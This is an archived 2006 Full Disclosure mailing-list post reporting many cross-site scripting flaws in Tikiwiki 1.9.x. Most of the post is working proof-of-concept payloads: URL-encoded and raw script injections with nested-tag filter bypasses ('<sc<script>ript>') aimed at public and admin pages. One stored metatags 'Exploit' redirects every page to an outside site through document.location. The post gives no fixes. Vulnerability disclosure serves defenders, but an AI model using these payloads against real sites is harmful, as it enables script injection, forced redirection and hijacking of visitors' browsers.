Full Disclosure mailing list archives
Multiple XSS Vulnerabilities in Tikiwiki 1.9.x
From: "Raoul" <blwood () skynet be>
Date: Sat, 27 May 2006 12:45:40 +0200
Multiple XSS Vulnerabilities in Tikiwiki 1.9.x Discovered by Blwood http://www.blwood.net <http://www.blwood.net/> ** Public ** ------------- Tiki-lastchanges <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-lastchanges.php? days=3&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/sc ript%3Eipt%3E> /tiki-lastchanges.php?days=3&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert( 'Blwood')%3C/scr%3C/script%3Eipt%3E <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-lastchanges.php? days=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eip t%3E&offset=0&sort_mode=user_desc> /tikiwiki-1.9.3.1/tiki-lastchanges.php?days=%22%3E%3Csc%3Cscript%3Eript% 3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&offset=0&sort_mode=user_desc ------------- Tiki-orphan_pages.php <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-orphan_pages.php ?find=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Ei pt%3E&offset=&sort_mode=flag_desc> /tikiwiki-1.9.3.1/tiki-orphan_pages.php?find=%22%3E%3Csc%3Cscript%3Eript %3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&offset=&sort_mode=flag_desc <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-orphan_pages.php ?find=&offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/sc ript%3Eipt%3E&sort_mode=flag_desc> /tikiwiki-1.9.3.1/tiki-orphan_pages.php?find=&offset=%22%3E%3Csc%3Cscrip t%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=flag_desc ------------- Tiki-listpages.php <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-listpages.php?of fset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eip t%3E&sort_mode=creator_desc> /tiki-listpages.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood') %3C/scr%3C/script%3Eipt%3E&sort_mode=creator_desc <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-listpages.php?in itial=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Ei pt%3E&sort_mode=pageName_asc> /tiki-listpages.php?initial=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood' )%3C/scr%3C/script%3Eipt%3E&sort_mode=pageName_asc ------------- Tiki-remind_password.php <http://tikiwiki.org/tiki-remind_password.php> http://tikiwiki.org/tiki-remind_password.php "><scr<script>ipt>alert('Blwood')</scr</script>ipt> ------------- ** Admin ** ------------- Tiki-admin_include_metatags.php <http://www.site.com/> http://www.site.com/tiki-admin.php?page=metatags <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin.php?page=m etatags> "><sc<script>ript>alert('Blwood')</scr</script>ipt> In all pages the source will be : <meta name="keywords" content=""><script>alert('Blwood')</script>" /> The code will be executed in every pages ! Exploit : "><sc<script>ript>document.location='http://www.blwood.net'</scr</script
ipt>
------------- Tiki-admin_ressmodules.php <http://www.site.com/> http://www.site.com/tiki-admin_rssmodules.php?offset=%22%3E%3Cscr%3Cscri pt%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!-- <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_rssmodules .php?offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/scri pt%3Eipt%3E%3C!--&sort_mode=name_desc&rssId=1> &sort_mode=name_desc&rssId=1 ------------- Tiki-syslog.php <http://www.site.com/> http://www.site.com/tiki-syslog.php?find= <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-syslog.php?find= &max=10&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/s cript%3Eipt%3E%3C!--&sort_mode=loguser_desc> &max=10&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/s cript%3Eipt%3E%3C!--&sort_mode=loguser_desc <http://www.site.com/> http://www.site.com/tiki-syslog.php?find= <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-syslog.php?find= &max=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eip t%3E%3C!--&offset=0&sort_mode=logtype_desc> &max=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eip t%3E%3C!--&offset=0&sort_mode=logtype_desc ------------- Tiki-adminusers.php <http://www.site.com/> http://www.site.com/tiki-adminusers.php?find= <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-adminusers.php?f ind=&search=find&numrows=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3 C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=login_asc> &search=find&numrows=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/sc r%3C/script%3Eipt%3E%3C!--&sort_mode=login_asc In the Form : "><scr<script>ipt>alert('Blwood')</scr</script>ipt> ------------- Tiki-admin_hotwords.php "><sc<script>ript>alert('Blwood')</scr</script>ipt> ------------- Tiki-admin_modules.php Assign new module ********************** Parameters : "><sc<script>ript>alert('Blwood')</scr</script>ipt> Create new user module **************************** Name : "><sc<script>ript>alert('Blwood')</scr</script>ipt> ------------- Tiki-admin_notifications.php Add notification : "><sc<script>ript>alert('Blwood')</scr</script>ipt> <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_notificati ons.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/s cript%3Eipt%3E&sort_mode=object_desc> /tiki-admin_notifications.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert ('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=object_desc ------------- Tiki-admin_dsn.php Name : "><sc<script>ript>alert('Blwood')</scr</script>ipt> Dsn : "><sc<script>ript>alert('Blwood')</scr</script>ipt> ------------- Tiki-admin_content_templates.php <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_content_te mplates.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr% 3C/script%3Eipt%3E&sort_mode=created_asc> /tiki-admin_content_templates.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ea lert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=created_asc Create new template : name: "><sc<script>ript>alert('Blwood')</scr</script>ipt> ------------- Tiki-admin_chat.php <http://www.site.com/> http://www.site.com <http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_chat.php?o ffset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Ei pt%3E&sort_mode=name_desc&channelId=1> /tiki-admin_chat.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood' )%3C/scr%3C/script%3Eipt%3E&sort_mode=name_desc&channelId=1 -------------
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Multiple XSS Vulnerabilities in Tikiwiki 1.9.x Raoul (May 27)